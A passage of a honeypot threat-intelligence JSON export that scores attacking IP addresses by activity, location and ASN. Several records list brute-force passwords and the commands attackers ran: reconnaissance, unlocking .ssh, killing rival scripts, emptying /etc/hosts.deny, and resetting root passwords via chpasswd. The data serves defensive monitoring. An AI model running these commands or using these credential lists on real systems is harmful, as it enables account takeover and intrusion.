        "Suricata": 2
      }
    },
    "91.205.209.225": {
      "attack_count": 2,
      "first_seen": "2026-03-08T08:51:06.936Z",
      "last_seen": "2026-03-08T08:51:38.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Satka",
      "asn": 47996,
      "as_org": "Kommunikatsyi Stels Ltd.",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T08:51:06.936000+00:00",
        "last_seen_30d": "2026-03-08T08:52:42.574000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.231.89.230": {
      "attack_count": 2,
      "first_seen": "2026-03-21T13:53:13.049Z",
      "last_seen": "2026-03-21T13:53:23.388Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 23.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 247,
        "days_active_30d": 30,
        "ports_targeted_30d": 75,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T03:28:14.170000+00:00",
        "last_seen_30d": "2026-03-31T23:18:10.422000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 192,
        "Honeytrap": 52,
        "Cowrie": 2,
        "ElasticPot": 1
      }
    },
    "91.231.89.239": {
      "attack_count": 2,
      "first_seen": "2026-03-07T16:45:42.150Z",
      "last_seen": "2026-03-07T16:45:52.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.7,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 74,
        "days_active_30d": 29,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T07:13:27+00:00",
        "last_seen_30d": "2026-03-31T02:05:02.311000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Honeytrap": 29,
        "Cowrie": 2
      }
    },
    "213.177.179.79": {
      "attack_count": 2254,
      "first_seen": "2026-03-11T04:49:22.002Z",
      "last_seen": "2026-03-11T06:22:35.120Z",
      "sessions": 451,
      "ports": [],
      "usernames_attempted": [
        "bardengineering",
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "password",
        "password123",
        "test123",
        "000000",
        "00000000",
        "007007",
        "0123456789",
        "101010",
        "102030",
        "1111",
        "11111",
        "111111",
        "1111111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 10,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3207,
        "days_active_30d": 1,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:49:22.002000+00:00",
        "last_seen_30d": "2026-03-11T06:23:37.385000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2254,
        "Suricata": 953
      }
    },
    "103.117.56.152": {
      "attack_count": 944,
      "first_seen": "2026-03-07T12:45:49.474Z",
      "last_seen": "2026-03-31T18:27:38.608Z",
      "sessions": 83,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Admin",
        "marcelo",
        "sinusbot",
        "u1",
        "ubuntu",
        "xiaoming",
        "yasin",
        "ys",
        "arthur",
        "caja",
        "comp",
        "docker",
        "edward",
        "elearn",
        "evil",
        "firewall",
        "ftptest",
        "ftpuser1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "password",
        "1234",
        "123456",
        "123321",
        "12345",
        "12345678",
        "123456aa@",
        "123QWEzxc",
        "2wsx!QAZ",
        "ABCabc2026",
        "Aa666888",
        "Admin",
        "Administr@tor2024",
        "Cc@123456",
        "LL@123456",
        "Pas$w0rd",
        "Password"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\nly9pnpP1DZqJ\\nly9pnpP1DZqJ\\n\"|passwd",
        "echo \"123\\nyebuvyQ7jLRq\\nyebuvyQ7jLRq\\n\"|passwd",
        "echo \"Admin\\nViCt1benMFDd\\nViCt1benMFDd\\n\"|passwd",
        "echo \"Xiaoming123!\\nWBmgsSPincXa\\nWBmgsSPincXa\\n\"|passwd",
        "echo \"password\\n3agVeI7FrQAj\\n3agVeI7FrQAj\\n\"|passwd",
        "echo \"root:MeYm1u4qm2L9\"|chpasswd|bash",
        "echo \"root:gCCXdTTjJ2h4\"|chpasswd|bash",
        "echo \"u1123\\nniaxDTOzLbAd\\nniaxDTOzLbAd\\n\"|passwd",
        "echo \"ys\\nft5tv98bRdSj\\nft5tv98bRdSj\\n\"|passwd",
        "echo -e \"1234\\nly9pnpP1DZqJ\\nly9pnpP1DZqJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 62.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1141,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T12:45:49.474000+00:00",
        "last_seen_30d": "2026-03-31T18:28:40.960000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 944,
        "Suricata": 197
      }
    },
    "80.94.92.171": {
      "attack_count": 816,
      "first_seen": "2026-03-04T16:21:17.139Z",
      "last_seen": "2026-03-31T20:07:59.196Z",
      "sessions": 170,
      "ports": [],
      "usernames_attempted": [
        "sol",
        "ubuntu"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "ubuntu",
        "sol"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 65.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1306,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T16:12:10.764000+00:00",
        "last_seen_30d": "2026-03-31T20:09:04.277000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 816,
        "Suricata": 490
      }
    },
    "45.17.39.120": {
      "attack_count": 665,
      "first_seen": "2026-03-25T09:59:30.083Z",
      "last_seen": "2026-03-30T06:51:02.168Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "a",
        "tst",
        "chris",
        "crafty",
        "passbolt",
        "sandro",
        "ttx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "!QAZXSW@",
        "12345678",
        "1234fdsa",
        "1234qwer!!",
        "13141516",
        "1475369",
        "1a2s3d4f5g6h7j8k",
        "1qaz!@#$",
        "1qazxdr5g",
        "@123456@",
        "@WSXzaq1",
        "Aa123123",
        "Admin22",
        "Asdf2024",
        "Ds123123",
        "P455w0RD"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\neDx6pO6nxHu8\\neDx6pO6nxHu8\\n\"|passwd",
        "echo \"1234\\nXSzWENWCYfeA\\nXSzWENWCYfeA\\n\"|passwd",
        "echo \"root:JdYD7DMqjwVM\"|chpasswd|bash",
        "echo \"root:ifPBzKTVtYNa\"|chpasswd|bash",
        "echo \"root:mYOGTwk8rfef\"|chpasswd|bash",
        "echo \"root:uzhfkgGMakzx\"|chpasswd|bash",
        "echo -e \"12345678\\neDx6pO6nxHu8\\neDx6pO6nxHu8\"|passwd|bash",
        "echo -e \"1234\\nXSzWENWCYfeA\\nXSzWENWCYfeA\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Birmingham",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 44.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 817,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T09:59:30.083000+00:00",
        "last_seen_30d": "2026-03-30T06:52:05.403000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 665,
        "Suricata": 152
      }
    },
    "172.172.196.177": {
      "attack_count": 644,
      "first_seen": "2026-03-08T23:19:54.004Z",
      "last_seen": "2026-03-19T18:13:42.118Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "ay",
        "chris",
        "cockpit",
        "dolphinscheduler",
        "home",
        "userdeploy",
        "vas",
        "wei",
        "andong",
        "apps",
        "asdf",
        "ashish",
        "bot",
        "butter",
        "caja",
        "clawd",
        "deploy",
        "ekp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "12345",
        "password",
        "123",
        "1234",
        "123qwe!@#QWE",
        "Aa112211",
        "Ay123!",
        "Chris123",
        "Personal123",
        "Qq@123123",
        "Ruben",
        "Teamcity",
        "Userdeploy123",
        "admin",
        "ashish",
        "butterpassword",
        "cajapass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nGpCG7X67t39p\\nGpCG7X67t39p\\n\"|passwd",
        "echo \"12345678\\nsdteu43AXwE6\\nsdteu43AXwE6\\n\"|passwd",
        "echo \"12345\\nfXdxb1tfaISY\\nfXdxb1tfaISY\\n\"|passwd",
        "echo \"Ay123!\\nDk8dCzDwpYgv\\nDk8dCzDwpYgv\\n\"|passwd",
        "echo \"Userdeploy123\\nQNxmIhcKRj1z\\nQNxmIhcKRj1z\\n\"|passwd",
        "echo \"dolphinscheduler123!\\nAAwE1fqIw7ov\\nAAwE1fqIw7ov\\n\"|passwd",
        "echo -e \"12345678\\nGpCG7X67t39p\\nGpCG7X67t39p\"|passwd|bash",
        "echo -e \"12345678\\nsdteu43AXwE6\\nsdteu43AXwE6\"|passwd|bash",
        "echo -e \"12345\\nfXdxb1tfaISY\\nfXdxb1tfaISY\"|passwd|bash",
        "echo -e \"Ay123!\\nDk8dCzDwpYgv\\nDk8dCzDwpYgv\"|passwd|bash",
        "echo -e \"Userdeploy123\\nQNxmIhcKRj1z\\nQNxmIhcKRj1z\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 779,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:19:54.004000+00:00",
        "last_seen_30d": "2026-03-19T18:14:43.912000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 644,
        "Suricata": 135
      }
    },
    "134.199.151.128": {
      "attack_count": 634,
      "first_seen": "2026-03-02T10:04:41.423Z",
      "last_seen": "2026-03-02T12:03:14.555Z",
      "sessions": 121,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "oracle",
        "postgres",
        "test",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "123456",
        "password",
        "123456789",
        "12345",
        "admin",
        "1234",
        "P@ssw0rd",
        "root",
        "P@ssword",
        "admin123",
        "default",
        "letmein",
        "passw0rd",
        "qwerty",
        "welcome",
        "welcome1",
        "111111",
        "123",
        "123123",
        "123321"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 899,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T10:04:10.036000+00:00",
        "last_seen_30d": "2026-03-02T12:04:17.937000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 634,
        "Suricata": 265
      }
    },
    "211.20.14.156": {
      "attack_count": 612,
      "first_seen": "2026-03-09T02:46:30.297Z",
      "last_seen": "2026-03-29T03:43:18.039Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "es_user",
        "gns3",
        "pavel",
        "user",
        "andres",
        "arkserver",
        "firewall",
        "frappe",
        "ghost",
        "jon",
        "kyle",
        "mitra",
        "myadmin",
        "omega",
        "onlyoffice",
        "t128",
        "verdaccio",
        "zz"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "123123",
        "12345678",
        "12345678a?",
        "123abc456*",
        "85208520",
        "@Aa11223344",
        "Aa111111",
        "Aa1234567.",
        "Abcd@12345",
        "Admin1234.",
        "Arkserver123",
        "Bus365.com!@#",
        "Ghost123",
        "Gns3123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\noljLuGLixUW1\\noljLuGLixUW1\\n\"|passwd",
        "echo \"123\\nI8FXUuFH1sAL\\nI8FXUuFH1sAL\\n\"|passwd",
        "echo \"123\\nYZz4RVDKTCPd\\nYZz4RVDKTCPd\\n\"|passwd",
        "echo \"Gns3123\\ncjyibJRosaGx\\ncjyibJRosaGx\\n\"|passwd",
        "echo \"root:6LS60r2yAqqi\"|chpasswd|bash",
        "echo \"root:w4IUplKBGZL4\"|chpasswd|bash",
        "echo -e \"1234\\noljLuGLixUW1\\noljLuGLixUW1\"|passwd|bash",
        "echo -e \"123\\nI8FXUuFH1sAL\\nI8FXUuFH1sAL\"|passwd|bash",
        "echo -e \"123\\nYZz4RVDKTCPd\\nYZz4RVDKTCPd\"|passwd|bash",
        "echo -e \"Gns3123\\ncjyibJRosaGx\\ncjyibJRosaGx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 735,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T02:46:30.297000+00:00",
        "last_seen_30d": "2026-03-29T03:44:21.237000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 612,
        "Suricata": 123
      }
    },
    "171.25.158.73": {
      "attack_count": 473,
      "first_seen": "2026-03-03T21:07:31.218Z",
      "last_seen": "2026-03-22T10:28:39.498Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gns3",
        "joao",
        "kobo",
        "admin",
        "agent",
        "discord",
        "edward",
        "incoming",
        "jerry",
        "maintainer",
        "mongo",
        "myuser",
        "nodejs",
        "pavel",
        "pos",
        "saad",
        "samuel",
        "stefan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "12345678",
        "!@#qweASDzxc",
        "123.com",
        "12345",
        "12345678900",
        "1QAZxsw2!@",
        "1qaz2WSX",
        "Abcd-1234",
        "Admin1234@",
        "Agent123",
        "Bingo@1993",
        "Edward123!",
        "Hn123456@",
        "Joao",
        "P@$$w0rd@1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXpkFXR3hHZVH\\nXpkFXR3hHZVH\\n\"|passwd",
        "echo \"Joao\\nkMgAe0AthjCm\\nkMgAe0AthjCm\\n\"|passwd",
        "echo \"kobopass\\nc3TygLoNaV0n\\nc3TygLoNaV0n\\n\"|passwd",
        "echo \"root:h6rY6wRrvSXN\"|chpasswd|bash",
        "echo -e \"123456\\nXpkFXR3hHZVH\\nXpkFXR3hHZVH\"|passwd|bash",
        "echo -e \"Joao\\nkMgAe0AthjCm\\nkMgAe0AthjCm\"|passwd|bash",
        "echo -e \"kobopass\\nc3TygLoNaV0n\\nc3TygLoNaV0n\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 39.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 579,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:07:31.218000+00:00",
        "last_seen_30d": "2026-03-22T10:29:48.114000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 473,
        "Suricata": 106
      }
    },
    "185.158.22.150": {
      "attack_count": 456,
      "first_seen": "2026-03-11T19:38:00.197Z",
      "last_seen": "2026-03-19T08:19:31.003Z",
      "sessions": 44,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "een",
        "n8n",
        "nasuser",
        "ram",
        "webmin",
        "andre",
        "appuser",
        "casa",
        "coolify",
        "deamon_root",
        "deploy",
        "dhkim",
        "flex",
        "ftp",
        "md",
        "nextcloud",
        "ociisstd",
        "ocs"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "12345678",
        "12345",
        "password",
        "123123Aa",
        "123456",
        "123456As",
        "1Q2w3e4r!",
        "Ab123456@",
        "Andre",
        "Een123!",
        "Nasuser123",
        "Ocs123",
        "Otrs",
        "Pepe123!",
        "Sami123",
        "Sonarr",
        "Ttx123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\nfuOCYDA7nwgD\\nfuOCYDA7nwgD\\n\"|passwd",
        "echo \"Een123!\\n4YgWaeyAedWg\\n4YgWaeyAedWg\\n\"|passwd",
        "echo \"Nasuser123\\nTViohLabhaMt\\nTViohLabhaMt\\n\"|passwd",
        "echo \"n8n\\n5LVxIeLPNdSi\\n5LVxIeLPNdSi\\n\"|passwd",
        "echo -e \"1234\\nfuOCYDA7nwgD\\nfuOCYDA7nwgD\"|passwd|bash",
        "echo -e \"Een123!\\n4YgWaeyAedWg\\n4YgWaeyAedWg\"|passwd|bash",
        "echo -e \"Nasuser123\\nTViohLabhaMt\\nTViohLabhaMt\"|passwd|bash",
        "echo -e \"n8n\\n5LVxIeLPNdSi\\n5LVxIeLPNdSi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Karbala",
      "asn": 210022,
      "as_org": "Trade Link Logistics General Trading & Contracting Company W.L.L., L.L.C.",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 560,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T19:38:00.197000+00:00",
        "last_seen_30d": "2026-03-19T08:20:35.418000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 104
      }
    },
    "170.80.65.140": {
      "attack_count": 371,
      "first_seen": "2026-03-06T00:39:56.766Z",
      "last_seen": "2026-03-09T21:37:49.256Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "ansible",
        "clawd",
        "gianluca",
        "issabel",
        "zhenshan",
        "7days",
        "andres",
        "docker",
        "farmacia",
        "hath",
        "ivan",
        "rodrigo",
        "root",
        "sky",
        "user",
        "won",
        "yujie",
        "zsolt"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "clawd123",
        "password",
        "123456",
        "7days",
        "P@ssw0rd",
        "Won123",
        "ansiblepass",
        "farmacia",
        "hath123",
        "q1w2e3r4",
        "rodrigo123",
        "skypass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
